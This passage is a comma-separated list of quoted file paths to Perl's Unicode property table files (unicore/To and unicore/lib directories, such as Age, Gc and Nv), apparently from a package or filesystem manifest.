"/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFCQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFDQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKCCF.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKCQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NFKDQC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Na1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/NameAlia.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Nt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Nv.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/PerlDeci.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/SB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Sc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Scx.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Tc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Uc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Vo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/WB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/_PerlLB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/_PerlSCX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V100.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V11.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V110.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V120.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V130.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V140.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V150.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V20.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V30.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V31.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V32.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V40.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V41.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V50.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V51.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V52.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V60.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V61.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V70.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V80.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Age/V90.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Alpha/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/AN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/B.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/BN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/CS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/EN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ES.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ET.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/NSM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/ON.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bc/WS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Blk/NB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Bpt/O.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CE/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CI/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWCF/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWCM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWKCF/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWL/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWT/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CWU/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Cased/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/A.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/AR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/ATAR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/B.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/BR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/DB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/NK.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/NR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/OV.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ccc/VR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/CompEx/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/DI/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dash/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dep/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dia/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Com.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Enc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Fin.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Font.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Init.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Iso.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Med.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Nar.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Nb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/NonCanon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sqr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sub.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sup.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Vert.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EBase/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EComp/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EPres/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/A.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/H.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/Na.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/W.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Emoji/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ext/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/ExtPict/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/CN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/LV.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/LVT.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/PP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/SM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Cf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Cn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/LC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Ll.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/M.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Mc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Me.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Mn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Nd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Nl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/No.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/P.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pe.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Po.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Ps.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/S.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sk.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/So.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Z.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Zs.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GrBase/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GrExt/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hex/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hst/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hyphen/T.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IDC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IDS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdStatus/Allowed.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdStatus/Restrict.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/DefaultI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Exclusio.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Inclusio.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/LimitedU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotChara.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotNFKC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotXID.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Obsolete.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Recommen.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Technica.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Uncommon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ideo/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/10_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/11_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/12_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/12_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/13_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/14_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/15_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/2_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/2_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/4_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/4_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/7_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/8_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/9_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Bottom.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/BottomAn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Left.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/LeftAndR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Overstru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Right.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Top.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndBo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndL2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndLe.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndRi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/VisualOr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Avagraha.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Bindu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Cantilla.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona5.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona7.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona9.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consonan.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Geminati.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Invisibl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Nukta.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Number.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Other.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/PureKill.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Syllable.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/ToneMark.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Virama.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Visarga.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Vowel.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/VowelDep.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/VowelInd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Ain.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Alef.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Beh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Dal.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/FarsiYeh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Feh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Gaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Hah.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/HanifiRo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Kaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Lam.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/NoJoinin.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Noon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Qaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Reh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Sad.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Seen.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Tah.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Waw.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Yeh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/D.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/T.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/U.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/AI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/BA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/BB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CJ.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/GL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/ID.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/IN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/IS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/NS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/OP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/PO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/PR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/QU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/SA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lower/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Math/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFCQC/M.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFCQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFDQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFDQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKCQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKCQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKDQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKDQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/Di.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/None.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/Nu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/10.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/100.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/10000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/100000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/11.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/12.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/13.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/14.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/15.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/17.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/18.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/19.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/20.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/200.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/20000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/30.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/300.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/30000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3_16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3_4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/40.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/400.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/4000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/40000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/5.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/50.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/500.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/5000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/50000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/60.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/600.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/6000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/60000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/7.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/70.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/700.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/7000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/70000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/80.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/800.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/8000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/80000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/9.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/90.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/900.pl", 